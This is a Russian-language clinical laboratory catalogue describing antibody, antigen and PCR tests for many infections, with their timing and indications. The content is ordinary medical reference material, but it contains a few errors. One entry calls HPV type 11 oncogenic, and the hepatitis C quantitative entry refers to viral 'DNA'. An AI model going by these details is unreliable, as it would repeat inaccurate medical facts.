При первичном инфицировании Mycoplasma pneumoniae антитела класса IgM появляются на 5-9 день клинических проявлений, сохраняются в высоких титрах в течение всего острого периода заболевания, после излечения, чаще всего, полностью элиминируются, однако в некоторых случаях могут сохраняться в низкой концентрации до года. Тест используется для диагностики впервые выявленного респираторного микоплазмоза. Рекомендуется одновременное исследование IgM и IgG к возбудителю.
Антитела класса IgA к возбудителю респираторного микоплазмоза (Mycoplasma pneumoniae) – специфические иммуноглобулины, вырабатывающиеся в организме в период выраженных клинических проявлений респираторного микоплазмоза и являющиеся показателем текущего заболевания. IgA продуцируются через 10-15 дней после инфицирования.В целом они появляются позже, чем IgM, и рассматриваются в основном как маркер обострения хронической инфекции или как дополнительный серологический маркер острой инфекции, только в комплексе с другими видами антител.
При первичном инфицировании Mycoplasma pneumoniae антитела класса IgG появляются на 14-20 день клинических проявлений, сохраняются в высоких титрах в течение нескольких месяцев. После излечения могут обнаруживаться в крови в низкой концентрации несколько лет. При повторном инфицировании диагностически значимым является 4-х кратное увеличение титра антител данного класса. Рекомендуется одновременное определение IgG, IgA и IgM.
Инфицирование Trichomonas vaginalis вызывает развитие иммунного ответа с появлением в крови специфических антител класса IgG. Они не обеспечивают полноценной защиты от возбудителя, но свидетельствуют о текущей или перенесенной в прошлом инфекции. Повышение титра антител отмечается уже спустя 7-10 дней после инфицирования. Исследования данного показателя в динамике позволяет сделать вывод об остром или хроническом течении заболевания, оценить эффективность проводимой терапии.
Антитела класса IgG появляются в крови в первые две недели после внедрения возбудителя в организм. Высокие их концентрации наблюдаются чаще всего при системных кандидозах, при местном поражении, как правило, уровень IgG в крови низкий. Рост концентрации антител наблюдается в течение нескольких недель, снижается после лечения, но может находиться на достаточно высоком уровне в течение многих лет после перенесенного заболевания. Для диагностики обострения хронической инфекции важно отслеживать динамику уровня антител в крови. Диагностическое значение имеют лишь кратные повышения их концентрации.
Данное исследование позволяет подтвердить диагноз эпидемического паротита на ранней стадии заболевания. Антитела класса IgM появляются в крови на 2-3 день после появления клинических признаков, как результат первичного иммунного ответа. Их титр постепенно нарастает, достигая максимума через 10-15 дней от начала заболевания. Определяются в крови до 2 лет после перенесенного заболевания.
Данный класс иммуноглобулинов появляется в острую фазу первичной инфекции и, чаще всего, сохраняется на достаточно высоком уровне пожизненно, обеспечивая стойкий иммунитет. Увеличение титра антител в крови в 4 раза, в сравнении с базовым уровнем является диагностически значимым и служит лабораторным признаком реинфицирования вирусным паротитом. Также данное исследование необходимо для оценки иммунного ответа перед вакцинацией и оценки её эффективности.
Корь - острое вирусное заболевание, характеризующееся общей инфекционной интоксикацией, лихорадкой, энантемой (пятна на слизистой оболочке), макулопапулезной сыпью, поражением конъюнктив и верхних отделов респираторного тракта. Возбудитель заболевания относится к РНК-содержащим вирусам, семейства парамиксовирусов. Инкубационный период в среднем составляет 10-12 дней. Преимущественный путь передачи инфекции воздушно – капельный. Для получения наиболее точных результатов серологической диагностики образцы биоматериала должны быть взяты дважды - не позже 3-го дня периода высыпаний и через 10-14 дней после первого исследования. Исследование IgG используется с целью подтверждения диагноза заболевания, оценки противокоревого иммунитета после проведенной вакцинации и перед ней. Антитела класса IgG к вирусу кори появляются в период ранней реконвалесценции (12-14 дней с начала заболевания). Титр антител остается высоким около 10 лет после перенесенной инфекции. Повышение уровня антител данного класса более чем в 4 раза по сравнению с базовым уровнем указывает на повторное инфицирование возбудителем кори. * Результат выдается в количественном значении.
Определение в крови суммарных антител к возбудителям коклюша и паракоклюша применяется с целью диагностики заболевания в комплексе других клинических и лабораторных тестов, а также для оценки выраженности иммунного ответа к данному заболеванию после проведения вакцинации.
Определение титра антител используется в диагностике дифтерийной инфекции и оценке эффективности вакцинации противодифтерийной вакциной. Антитела в крови появляются на 1-3 день заболевания, сохраняются в высоких титрах на протяжении нескольких недель. Для подтверждения диагноза рекомендуется проведение двух исследований на 1-3 и 7-10 день болезни. Для определения показаний к вакцинации, а также оценки её эффективности проводят исследования до введения вакцины(после чего оценивают необходимость проведения вакцинации) и после неё, оценивая титр антител в динамике.
Определение титра антител используется в диагностике столбняка на ранних этапах проявления клинической симптоматики заболевания, когда однозначно поставить диагноз еще представляется затруднительным (обычно это первая неделя заболевания), а также для оценки напряженности иммунитета у обследуемых лиц, оценки эффективности вакцинации противостолбнячной вакциной. Первичный иммунный ответ обеспечивается антителами класса IgM, которые появляются на 2-3 день после инфицирования, одновременно на 4-5 сутки начинают повышаться анти- IgG. При выявлении контингента для проведения вакцинации определяют титр антител до вакцинации, если он низкий или антитела отсутствуют, то это является прямым показанием к вакцинации, об эффективности которой судят по нарастанию титра антител в исследованиях, проведенных после вакцинации.
Выявление титра антител класса IgМ используют для диагностики заболевания и мониторинга проводимой терапии. Рост титра анти- IgМ начинается спустя 2 недели после инфицирования, достигая максимума к 28-36 дню с момента укуса человека зараженным клещом, нередко повышенный титр антител может сохраняться в течение года, особенно при переходе инфекции в хроническое течение.
Определение антител класса IgG используется для диагностики заболевания, выявления хронического течения инфекции. Титр IgG начинает повышаться на 2-3 неделе заболевания и может достигать максимальных значений ко 2-3 месяцу болезни.
Один из наиболее чувствительных анализов, применяемых для выявления хеликобактерной инфекции. IgA в крови в диагностически значимых титрах появляются при условии массивного инфицирования слизистой оболочки желудка Helicobacter pylori. По этим причинам результаты анализа могут быть показательны не только в отношении факта наличия возбудителя в желудочно-кишечном тракте, но и ориентировочной оценки обсеменения слизистой.
Основной серологический лабораторный тест для диагностики и контроля терапии хеликобактерной инфекции. Иммуноглобулины класса G выявляются в абсолютном большинстве случаев хеликобактерной инфекции вне зависимости от массивности обсеменения слизистой. Сохраняются в крови до двух лет после проведенной эрадикации возбудителя. Для контроля лечения значимым является снижение титра на 20% и более в течение 30-40 дней после проведенной терапии.
Helicobacter pylori – грамотрицательная бактерия, способная инфицировать желудок и двенадцатиперстную кишку. Хеликобактер способен ослаблять защитные свойства слизистой оболочки желудка и двенадцатиперстной кишки в отношении кислого желудочного содержимого и тем самым вызывать предрасположенность к развитию гастрита или язвенной болезни. Доказана связь между хеликобактерной инфекцией и развитием карциномы желудка. Распространенность инфекции составляет примерно 40-50% среди населения в развитых странах и у 80-90% в развивающихся странах. Выявление антигена хеликобактера в кале является малоинвазивным, простым, высокоспецифичным и чувствительным методом как диагностики хеликобактерной инфекции, так и для контроля проведенного по поводу неё лечения. Показания к назначению анализа: • Язвенная болезнь желудка и/или 12-перстной кишки. • Гастроэзофагеальная рефлюксная болезнь. • Атрофический гастрит. • Профилактические обследования для выявления людей с риском развития язвы или рака желудка. • Оценка эффективности терапии. • Рак желудка у ближайших родственников.
Аскаридоз является наиболее распространенным гельминтозом, им, по различным данным, заражено около 1 миллиарда человек во всем мире. Возбудитель аскаридоза - аскарида человеческая (Ascaris lumbricoides), относящаяся к классу круглых червей. Единственным источником инвазии (заражения гельминтами) - является человек. Заражение происходит при проглатывании яиц аскарид вместе с пищей. Чаще всего, в качестве источника заражения выступают плохо помытые овощи (особенно корнеплоды) или грязные руки. Весь жизненный цикл аскарид проходит в организме человека. Из яиц, проглоченных человеком, в тонкой кишке выходят личинки, которые проникают через стенку кишки в кровоток, заносятся в печень, сердце и, в конечном итоге, попадают в легкие, где через стенки лёгочных капилляров проникают в альвеолы. Из дыхательных путей личинки мигрируют в полость рта (чаще по ночам) и, смешиваясь со слюной, вновь заглатываются. Личинка, вновь попавшая в кишечник, через 2,5-3 мес. созревает во взрослую особь. Общая продолжительность жизни аскариды около одного года. Помимо кишечника, печени и легких личинок аскарид находили в мозгу, глазу и других органах. Личинки, находясь во внутренних органах, питаются сывороткой крови и эритроцитами. Клинические проявления аскаридоза зависят от локализации паразита и интенсивности инвазии. В клиническом течении аскаридоза выделяют две фазы – раннюю (миграционную) и позднюю (кишечную). Симптомами ранней фазы могут быть слабость, недомогание, иногда лихорадка до 38 ˚С, увеличение печени, селезенки, лимфатических узлов, появление высыпаний на коже. Первая фаза совпадает с периодом миграции личинок из кишечника во внутренние органы. Установить диагноз аскаридоза в миграционной стадии возможно с помощью серологических исследований, обнаруживающих в крови больных специфические антитела (IgG и IgM). В кишечной стадии серологическое исследование может быть дополнено проведением исследования кала на яйца аскарид. Кишечная фаза аскаридоза, чаще всего, протекает с наличием следующих симптомов: признаки поражения желудочно-кишечного тракта, снижение или извращение аппетита, тошнота, неустойчивый стул, боли в животе. Многие больные отмечают симптомы со стороны нервной системы: слабость, недомогание, снижение памяти, беспокойный сон. У некоторых отмечаются эпилептиформные судороги.
Обнаружение антител класса IgG с помощью ИФА достаточно эффективно в диагностике эхинококкоза. Использование данного метода может представлять трудности в связи с тем, что у многих носителей эхинококковых кист иммунный ответ не развивается и антитела в крови отсутствуют. После оперативного удаления кист определение антител используют для контроля радикальности проведенной операции. Наиболее высокие титры антител обнаруживаются у больных в случае локализации кист, преимущественно, в органах брюшной полости.
Обнаружение антител класса IgG с помощью ИФА является основным методом ранней диагностики описторхоза и позволяет выявить возбудитель еще до начала продукции им яиц. При наличии хронического носительства возбудителя данный исследование должно быть подтверждено паразитологическими методами диагностики. Лица с низким титром(в пределах «серой зоны») должны каждые 3 месяца подвергаться серологическому исследованию для оценки результатов в динамике.
Обнаружение антител класса IgG с помощью ИФА является основным методом диагностики токсокароза. Степень повышения титра антител в крови коррелирует с тяжестью заболевания. У лиц с относительно низким диагностически значимым титром, при отсутствии клинической симптоматики результат исследования может указывать на контакт с возбудителем без развития патологии. В таком случае необходима оценка уровня антител в динамике. После проведенного лечения анализ может использоваться с контроля его эффективности. Ложноположительные результаты могут наблюдаться у людей с выраженным иммунодефицитом и лимфопролиферативными заболеваниями.
Обнаружение антител класса IgG с помощью ИФА используют для ранней диагностики трихинеллеза. В зависимости от степени интенсивности инвазии трихинеллами сроки появления антител в диагностически значимых титрах могут отличаться. При высокой интенсивности инвазии антитела могут быть выявлены уже на 14-20 день после заражения, если интенсивность инвазии была низкой, то антитела в крови могут не определяться до 6 недель. IgG в достаточно высокой концентрации выявляются длительное время после проведенного лечения (от 2 лет ).
Лямблиоз является распространенным протозойным(вызываемым простейшими) заболеванием. Возбудитель передается, чаще всего, через воду. В организме лямблии обитают в тонком кишечнике, могут инфицировать желчевыводящие пути. Иммунный ответ на инфекцию достаточно выраженный, антитела к возбудителю появляются в крови на 10-14 день от инфицирования, сохраняются после лечения в течение 2-6 месяцев.
Лямблиоз является распространенным протозойным (вызываемым простейшими) заболеванием. Возбудитель передается, чаще всего, через воду. В организме лямблии обитают в тонком кишечнике, могут инфицировать желчевыводящие пути. Иммунный ответ на инфекцию достаточно выраженный, антитела к возбудителю появляются в крови на 10-14 день от инфицирования, сохраняются после лечения в течение 2-6 месяцев. Наличие только IgМ антител отражает наличие острого лямблиоза при инвазии различной степени выраженности. Параллельное использование копрологических (микроскопия) и серологических (определение антител, антигенов лямблий) методов диагностики позволяют более надежно и эффективно выявлять лямблиоз. Методы
Лямблиоз является распространенным протозойным (вызываемым простейшими) заболеванием. Возбудитель, Giardia lamblia, передается, чаще всего, через воду. В организме лямблии обитают в тонком кишечнике, могут инфицировать желчевыводящие пути. Паразитируя в кишечнике, лямблии нарушают функцию тонкой кишки. Симптомы при этом сходны с другими заболеваниями тонкого кишечника и жечевыводящих путей. Лямблиозом чаще болеют дети в возрате 2-5 лет. По данным ВОЗ в мире лямблиями инфицировано около 20% детей. Тест на выявление антигена лямблий в кале гораздо более чувствителен и специфичен, чем микроскопическое исследование на предмет наличия цист лямблий. Он позволяет определять наличие возбудителя в кишечнике при отсутствии выраженного иммунного ответа и, как следствие, низкого титра антител к возбудителю в крови. Тест является качественным, то есть результат представлен как "обнаружено" если антиген был выявлен или "не обнаружено", в случае отсутствия антигена лямблий в исследуемом биоматериале. Важно: образцы кала желательно исследовать в течение недели с момента появления симптомов, так как количество возбудителя в организме в это время наибольшее.
Clonorchis sinensis, IgG – это определение иммуноглобулинов класса G (IgG) к возбудителю клонорхоза. Клонорхоз особенно распространен в Китае (другое название Clonorchis – китайский печеночный сосальщик) и других странах Азии, а также на востоке и северо-востоке России. Заражение человека происходит при употреблении в пищу сырой речной рыбы, содержащей метацеркарии гельминта. Исследование рекомендовано в следующих ситуациях: 1. При указании в анамнезе на употребление большого количества сырой речной рыбы в эндемичном по клонорхозу районе. 2. При обнаружении в результате УЗИ или КТ-исследования признаков расширения периферических внутрипеченочных протоков при отсутствии каких-либо других признаков обструкции.
Результаты теста могут быть использованы для выявления активного туберкулеза при сероэпидемиологическом скрининге, контроле доноров, обследовании больных и здоровых контактных лиц из очагов, лиц из групп риска и т.д. Тест нечувствителен к БЦЖ-вакцинации и рассчитан на выявление только активной формы туберкулеза вне зависимости от его локализации.
Тест используется в целях диагностики заболевания или для выявления бессимптомных бактерионосителей. Первичный иммунный ответ при менингококковой инфекции характеризуется появлением антител на 2-3 сутки от начала заболевания, наибольшие титры выявляются на 6-10 день, через 1,5-2 месяца после перенесенного заболевания антитела в крови не обнаруживаются. Нередко повышенный титр может наблюдаться и без клинических проявлений заболевания, что характерно для бессимптомных бактерионосителей. Методы
Rotavirus – род вирусов из семейства Reoviridae, сходных между собой по антигенной структуре. Ротавирус – один из основных возбудителей гастроэнтерита у детей дошкольного и грудного возраста, а также гериатрических больных. Чаще всего инфекция связана с инфицированием ротавирусами 1-4, 8 и 9 типов. В организм вирус попадает через продукты питания и грязные руки. Источником инфекции является исключительно больной человек. Наибольшая заболеваемость в странах с умеренным климатом наблюдается в холодное время года. Основными симптомами ротавирусной инфекции являются общая интоксикация (лихорадка), понос и обезвоживание. Последнее особенно опасно для детей раннего возраста. При отсутствии лечения ротавирусная инфекция может осложниться тяжелым обезвоживанием и нарушением электролитного баланса. Ротавирус является причиной до 50% случаев госпитализации с развитием диарейного синдрома у новорожденных и детей дошкольного возраста. Выявление антигена вируса в кале является высокочувствительным и высокоспецифичным тестом диагностики инфекции. Так как пик выделения вируса с калом приходится на 1-4 день заболевания, проводить сбор биологического материала для исследования рекомендуется именно в этот период.
Комплексное исследование, позволяющее оценить наличие в крови антител к абсолютному большинству серовариантов сальмонелл. При наличии инфекции, специфические антитела определяются в крови, начиная с 4-5 дня заболевания, максимальные титры выявляются на 8-10 день заболевания. Исследование не информативно у детей 1-го года жизни, так как антитела к возбудителю у них в крови не обнаруживаются на протяжении всего заболевания.
Метод используется в диагностике острых форм дизентерии, может быть полезен для выявления хронических бактерионосителей. Рост титра антител начинается с 5-6 дня болезни, его снижение происходит в течение 2 месяцев после перенесенной инфекции. В случае, если антитела сохраняются в высоких титрах свыше 2 месяцев, можно предположить переход инфекции в хроническое течение.
Тест используется для одновременного определения в крови антител к возбудителю псевдотуберкулеза и кишечного иерсиниоза. Антитела класса IgA в высоких титрах определяются в случае развития на фоне заболевания реактивных артритов.
Тест используется для одновременного определения в крови антител к возбудителю псевдотуберкулеза и кишечного иерсиниоза, проведения дифференциальной диагностики между двумя этими заболеваниями. Антитела класса IgM определяются в крови в острый период болезни (на 1-3 день после появления клинических симптомов) и являются основным лабораторным тестом для подтверждения диагноза.
Тест используется для одновременного определения в крови антител к возбудителю псевдотуберкулеза и кишечного иерсиниоза, проведения дифференциальной диагностики между двумя этими заболеваниями. Иммуноглобулины класса G появляются на 3-5 день болезни, после выздоровления определяются в крови на протяжении нескольких месяцев. Для диагностики острой инфекции значимым является повышение титра IgG в 4 раза при исследовании проб, взятых с интервалом в 7-10 дней. Рекомендуется одновременное определение в крови IgG и IgM.
Аспергиллез - грибковое заболевание, чаще всего, поражающее дыхательную систему и возникающее на фоне врожденног или приобретенного иммунодефицита при вдыхании спор гриба. Аспергиллы также могут поражать слизистые оболочки, кожу, глаза. Выделяют также генерализованную (септическую) форму заболевания. IgG выявляются в сыворотке крови абсолютного большинства больных аспергиллезом. При сомнительных результатах исследование рекомендуется повторить в динамике.
Тест имеет видовую специфичность и высокую чувствительность. Данный метод позволяет качественно определить в исследуемом материале (кровь) РНК вируса гепатита А. Исследование используется в целях подтверждения наличия вируса в организме больного, что помогает в постановке правильного диагноза и назначении наиболее адекватной терапии. Результат анализа не зависит от состояния иммунной системы, может дать ценную диагностическую информацию в ранний период заболевания, когда антитела в крови еще отсутствуют.
Данный метод позволяет качественно определить в исследуемом материале (кровь) ДНК вируса гепатита В. Качественный метод подтверждает наличие вируса гепатита В в организме больного, позволяя поставить правильный диагноз. ДНК вируса появляется в крови в начале заболевания, что позволяет использовать тест для ранней диагностики гепатита В, наряду с определением в крови НBsAg.  
Данный метод позволяет количественно определить в исследуемом материале (кровь) ДНК вируса гепатита В. Количественное определение ДНК вируса позволяет сделать вывод об интенсивности репликации вируса, контролировать эффективность проводимой терапии в процессе лечения, что немаловажно для прогнозирования вероятности хронизации заболевания. ДНК HBV может быть обнаружена в концентрации, находящейся за нижней границей линейного диапазона концентраций. Линейный диапазон концентраций – это диапазон, в котором можно точно посчитать количество копий возбудителя. Для данного анализа линейный диапазон концентраций ДНК HBV, определяемых детектирующим амплификатором, составляет 7,5×10^2 – 1,0×10^8 копий/мл образца.
Тест имеет видовую специфичность и высокую чувствительность. Данный метод позволяет качественно определить в исследуемом материале (кровь) РНК вируса гепатита С. Тест используется для подтверждения диагноза у лиц с серонегативной формой гепатита С, при которой не происходит образование антител к возбудителю.
Метод позволяет определить какой подтип вируса гепатита С присутствует в организме больного, тем самым установить особенности течения инфекции (так например у пациентов инфицированных генотипом 1b меньшая эффективность от терапии интерфероном и быстрее прогрессирует поражение печени). В настоящее время известно 6 генотипов и несколько подтипов вирусного гепатита С. В России доминирующими генотипами являются 1b, 1a. * Применяемый набор реагентов может быть использован для диагностики вируса гепатита С и наиболее распространённых на территории России генотипов HCV (1a, 1b, 2 и 3a/3b) in vitro.
Тест имеет видовую специфичность и высокую чувствительность. Данный метод позволяет количественно определить в исследуемом материале (кровь) РНК вируса гепатита С. Количественный метод дает важную информацию об интенсивности репликации вируса, позволяет оценить эффективность проводимой терапии, выявить резистентность к противовирусным препаратам. РНК HCV может быть обнаружена в концентрации, находящейся за нижней границей линейного диапазона концентраций. Линейный диапазон концентраций – это диапазон, в котором можно точно посчитать количество копий возбудителя. Для данного анализа линейный диапазон концентраций ДНК HCV, определяемых детектирующим амплификатором, составляет 7,5×10^2 – 1,0×10^8 копий/мл образца.
Тест имеет видовую специфичность и высокую чувствительность. Данный метод позволяет вывить в исследуемом материале (кровь) РНК вируса гепатита D, тем самым подтвердить диагноз заболевания. Так как вирус может инфицировать человека только при наличии у него гепатита В, рекомендуется одновременно с данным тестом исследовать наличие в крови антигенов и антител к вирусу гепатита В.
Тест имеет видовую специфичность и высокую чувствительность. Данный метод позволяет качественно определить в исследуемом материале (кровь) РНК вируса гепатита G. Метод используется для подтверждения диагноза, контроля эффективности проведенной противовирусной терапии. Результат исследования не зависит от состояния иммунной системы, может дать ценную диагностическую информацию даже при серонегативной форме заболевания, когда антитела в крови отсутствуют.
Выделение ДНК возбудителя методом полимеразной цепной реакции, позволяет доказать его наличие в организме и тем самым подтвердить диагноз заболевания. Исследование может быть особенно полезно для диагностики инфекционного мононуклеоза у детей грудного возраста.
Высокочувствительный и специфичный тест, основанный на выявлении генетического материала вируса герпеса 6 типа. Метод используется для подтверждения диагноза заболевания, в случае получения отрицательных результатов исследования на антитела к возбудителю, а также совместно с данным исследованием.
Высокочувствительный и специфичный тест, основанный на выявлении генетического материала вируса герпеса 7 типа. Метод используется для подтверждения диагноза заболевания, в случае получения отрицательных результатов исследования на антитела к возбудителю, а также совместно с данным исследованием.
Высокочувствительный и специфичный тест, основанный на выявлении генетического материала вируса герпеса 8 типа. Исследование крови используется для диагностики вирус-ассоциированных лимфом и саркомы Капоши у ВИЧ инфицированных, а также лиц перенесших трансплантацию органов.
Исследование служит для выявления возбудителя при заболеваниях дыхательной системы, а также сепсиса при осложненных формах хламидийной инфекции. Тест имеет высокую чувствительность и специфичность, что позволяет поставить точный диагноз и назначить наиболее правильное лечение. Метод необходим как для диагностики острой формы инфекционного процесса, так и для выявления хронических форм, так как результат исследования не зависит от стадии заболевания, выраженности иммунного ответа организма, а определяется лишь наличием или отсутствием возбудителя в исследуемом биоматериале. Показания для назначения анализов: 1. Пневмонии у детей или у лиц со сниженным иммунитетом 2. Длительно текущие инфекции верхних дыхательных путей 3. Подозрение на сепсис
Тест позволяет качественно определить в исследуемом материале ДНК M. pneumonia. Подтверждает наличие M. pneumonia в организме больного, тем самым устанавливая особенности течения данного заболевания.
Выявление генетического материала возбудителя анаплазмоза методом полимеразной цепной реакции. Исследование используется для ранней диагностики заболевания, подтверждения диагноза в случаях отрицательных результатов исследования на антитела к анаплазме.
Данный метод позволяет устанавливать диагноз как легочных, так и внелегочных форм заболевания путем обнаружения генетического материала возбудителя в крови. Диагностическая значимость теста заключается в быстроте получения результата исследования, его высокой чувствительности и специфичности.
Тест имеет видовую специфичность и высокую чувствительность. Обнаружение ДНК Toxoplasma gondii методом ПЦР может рассматриваться как основной лабораторный критерий активности токсоплазмозной инфекции.
Новый лабораторный метод, отличающийся быстротой получения результатов, их точностью, высокой информативностью. Особенностью полимеразной цепной реакции в режиме реального времени является возможность регистрации флуоресцентного сигнала непосредственно во время ПЦР амплификации, позволяя определить наличие ДНК цитомегаловируса в исследуемом материале. Показания для назначения анализов: 1. Скрининговое обследование до и во время беременности 2. Пренатальная диагностика внутриутробной инфекции 3. Больные ВИЧ-инфекцией или иммунодефицитом другой этиологии 4. Клиническая картина инфекционного мононуклеоза, но с отрицательными реакциями гетерогемаглютинации 5. Случайные половые контакты
Определение ДНК вирусов простого герпеса методом ПЦР. Тест имеет видовую специфичность и высокую чувствительность. Обнаружение ДНК вирусов простого герпеса методом ПЦР может рассматриваться как основной лабораторный критерий активности герпетической инфекции, ее обострения.
Полуколичественное исследование, применяемое для того, чтобы диагностировать инфекцию, вызванную вирусом простого герпеса первого типа с помощью определения генетического материала (ДНК) возбудителя в исследуемом биологическом материале. Вирус простого герпеса 1 типа поражает преимущественно слизистые ротовой полости и носоглотки. В медицинской практике анализ обычно назначается для диагностики инфекций, вызванных вирусом; дифференциальной диагностики морфологических элементов; подтверждения диагноза при симптомах герпетического поражения (язвах, пузырьках на слизистых оболочках) или неонатального герпеса; обследования людей, страдающих заболеваниями, повышающими риск развития осложнений герпетической инфекции (ВИЧ, экзема, тяжелые ожоги, химиотерапия онкологических заболеваний, иммуносупрессивные препараты, применяемые при трансплантации органов); профилактического обследования здоровых людей; обследования пациентов при подготовке к трансплантации органов; профилактического обследования здоровых людей; обследования пациентов с отягощенным трансфузионным анамнезом; при планировании беременности.
Полуколичественное исследование, применяемое для того, чтобы диагностировать инфекцию, вызванную вирусом простого герпеса второго типа с помощью определения генетического материала (ДНК) возбудителя в исследуемом биологическом материале. Вирус простого герпеса 2 типа поражает преимущественно слизистые половых органов. В медицинской практике анализ обычно назначается для диагностики генитального герпеса; дифференциальной диагностики морфологических элементов заболеваний, передающихся половым путем; подтверждения диагноза при симптомах герпетического поражения (язвах, пузырьках в области гениталий) или неонатального герпеса; обследования людей, страдающих заболеваниями, повышающими риск развития осложнений герпетической инфекции (ВИЧ, экзема, тяжелые ожоги, химиотерапия онкологических заболеваний, иммуносупрессивные препараты, применяемые при трансплантации органов); профилактического обследования здоровых людей; обследования пациентов при подготовке к трансплантации органов; обследования пациентов с отягощенным трансфузионным анамнезом; при планировании беременности.
Новый лабораторный метод, отличающийся быстротой получения результатов, их точностью, высокой информативностью. Особенностью полимеразной цепной реакции в режиме реального времени является возможность регистрации флуоресцентного сигнала непосредственно во время ПЦР амплификации, позволяя определить наличие ДНК C. trachomatis в исследуемом материале. Метод необходим как для диагностики острой формы инфекционного процесса, так и для выявления хронических форм, так как результат исследования не зависит от стадии заболевания, выраженности иммунного ответа организма, а определяется лишь наличием или отсутствием возбудителя в исследуемом биоматериале. Показания для назначения анализов: 1. Диагностика воспалительных заболеваний мочеполовой системы 2. Планирование беременности 3. Пренатальная диагностика внутриутробных инфекций 4. Случайные половые контакты
Исследование позволяет определить титр микроорганизмов рода Ureaplasma в исследуемом материале. Анализ используется для диагностики урогенитального уреаплазмоза, контроля проводимой терапии. В отличие от микробиологических методов позволяет в более короткие сроки получить информацию о количестве микроорганизма в исследуемом материале.
Новый лабораторный метод, отличающийся быстротой получения результатов, их точностью, высокой информативностью. Особенностью полимеразной цепной реакции в режиме реального времени является возможность регистрации флуоресцентного сигнала непосредственно во время ПЦР амплификации, позволяя определить наличие ДНК U. parvum в исследуемом материале. Показания для назначения анализов: 1. Диагностика воспалительных заболеваний мочеполовой системы (урогенитальных инфекций) 2. Планирование беременности 3. Случайные половые контакты
Новый лабораторный метод, отличающийся быстротой получения результатов, их точностью, высокой информативностью. Особенностью полимеразной цепной реакции в режиме реального времени является возможность регистрации флуоресцентного сигнала непосредственно во время ПЦР амплификации, позволяя определить наличие ДНК U. urealyticum в исследуемом материале. Показания для назначения анализов: 1. Диагностика воспалительных заболеваний мочеполовой системы (урогенитальных инфекций) 2. Планирование беременности 3. Случайные половые контакты
Новый лабораторный метод, отличающийся быстротой получения результатов, их точностью, высокой информативностью. Особенностью полимеразной цепной реакции в режиме реального времени является возможность регистрации флуоресцентного сигнала непосредственно во время ПЦР амплификации, позволяя определить наличие ДНК M. genitalium в исследуемом материале. Показания для назначения анализа: 1. Диагностика воспалительных заболеваний мочеполовой системы 2. Планирование беременности 3. Случайные половые контакты 4. Больные ВИЧ-инфекцией
Новый лабораторный метод, отличающийся быстротой получения результатов, их точностью, высокой информативностью. Особенностью полимеразной цепной реакции в режиме реального времени является возможность регистрации флуоресцентного сигнала непосредственно во время ПЦР амплификации, позволяя определить наличие ДНК M. hominis в исследуемом материале. Показания для назначения анализов: 1. Диагностика воспалительных заболеваний мочеполовой системы 2. Планирование беременности 3. Случайные половые контакты 4. Больные ВИЧ-инфекцией
Тест имеет видовую специфичность и высокую чувствительность.
Новый лабораторный метод, отличающийся быстротой получения результатов, их точностью, высокой информативностью. Особенностью полимеразной цепной реакции в режиме реального времени является возможность регистрации флуоресцентного сигнала непосредственно во время ПЦР амплификации, позволяя определить наличие ДНК T. vaginalis в исследуемом материале. Показания для назначения анализов: 1. Наличие следующей симптоматики: - зуд и гиперемия в области половых органов - выделения из уретры - прожилки крови в сперме 2. Диагностика воспалительных заболеваний мочеполовой системы 3. Хроническое течение инфекции 4. Дифференциальная диагностика урогенитальных инфекций 5. Планирование беременности 6. Случайные половые контакты
Тест имеет видовую специфичность и высокую чувствительность. Данный метод позволяет качественно определить в исследуемом материале ДНК Candida albicans. Качественный метод ПЦР подтверждает наличие возбудителя в организме больного и тем самым позволяет поставить правильный диагноз и назначить оптимальную терапию. Исследование используется для диагностики урогенитального кандидоза(молочницы).
Полимеразная цепная реакция в реальном времени - это новый лабораторный метод, отличающийся быстротой получения результатов, их точностью, высокой специфичностью. Особенностью ПЦР в реальном времени является возможность регистрации результата в процессе реакции. Исследование позволяет доказать наличие возбудителя в организме, тем самым подтвердить диагноз и назначить наиболее подходящее лечение. Метод не зависит от состояния иммунной системы, позволяет выявить микроорганизм, даже если количество его в исследуемом материале крайне мало.
Метод позволяет полуколичественно определить в исследуемом материале (урогенитальный мазок, биоптат) ДНК вируса. Тест имеет большое значение в подтверждении диагноза заболевания, определении дальнейшей тактики лечения и оценке эффективности проводимой терапии. 16 и 18 генотипы вируса являются онкогенными, поэтому раннее выявление инфекции имеет большое значение в плане определения прогноза и своевременного назначения адекватной терапии.
Метод позволяет качественно определить в исследуемом материале (урогенитальный мазок, биоптат) ДНК вируса. Тест имеет большое значение в подтверждении диагноза заболевания, определении дальнейшей тактики лечения и оценке эффективности проводимой терапии. 31 и 33 генотипы вируса являются онкогенными, поэтому раннее выявление инфекции имеет большое значение в плане определения прогноза и своевременного назначения адекватной терапии.
Метод позволяет качественно определить в исследуемом материале (урогенитальный мазок, биоптат) ДНК вируса. Тест имеет большое значение в подтверждении диагноза заболевания, определении дальнейшей тактики лечения и оценке эффективности проводимой терапии. 11 и 16 генотипы вируса являются онкогенными, поэтому раннее выявление инфекции имеет решающее значение в плане определения прогноза и своевременного назначения адекватной терапии.
Тест позволяет качественно определить наличие в исследуемом образце генетический материал возбудителя папилломавирусной инфекции. Используется для скрининга на наиболее актуальные канцерогенные типы вируса.
Данное исследование позволяет установить, конкретный генотип вируса, содержащийся в биоматериале и тем самым определить степень его опасности в плане онкологической настороженности (степень онкориска).
Исследование используется для диагностики папиллома-вирусной инфекции, с одновременным определением количества вирусных частиц в исследуемом материале. Анализ позволяет сделать вывод о степени поражения слизистой, оценить эффективность терапии в процессе лечения. Определяется количество только ВПЧ высокого канцерогенного риска (16, 18, 31, 33, 35, 39, 45, 51, 52, 56, 58, 59 типы) – без указания типа.
Исследование для выявления онкогенного вируса папилломы человека (ВПЧ) 16 и 18 типа, в ходе которого с помощью метода полимеразной цепной реакции в реальном времени (РТ-ПЦР) определяется наличие генетического материала (ДНК) вируса и его количество в образце биоматериала. Так как ВПЧ 16 и 18 несут наибольший риск развития предраковых поражений и рака шейки матки по сравнению с другими генотипами ВПЧ, определение именно этих генотипов дает важную информацию для принятия эффективного решения о терапии. Генотипирование ВПЧ позволяет выявлять женщин с наибольшим риском цервикальной неоплазии тяжелой степени. Высокая чувствительность анализа позволяет обнаружить даже самые малые количества ДНК вируса. Важное преимущество анализа заключается в определении количества вируса - по количеству ВПЧ в организме можно судить о тяжести инфекции и о характере ее течения (является ли она хронической или же временным ответом на ослабление иммунитета).
Тест имеет видовую специфичность и высокую чувствительность. Данный метод позволяет качественно определить в исследуемом материале ДНК Bordetella pertusis, тем самым подтвердить наличие возбудителя в организме и поставить правильный диагноз. Исследование используется для ранней диагностики заболевания, не зависит от иммунного статуса обследуемого и позволяет выявить возбудитель еще до начала клинических проявлений, образования в крови антител.
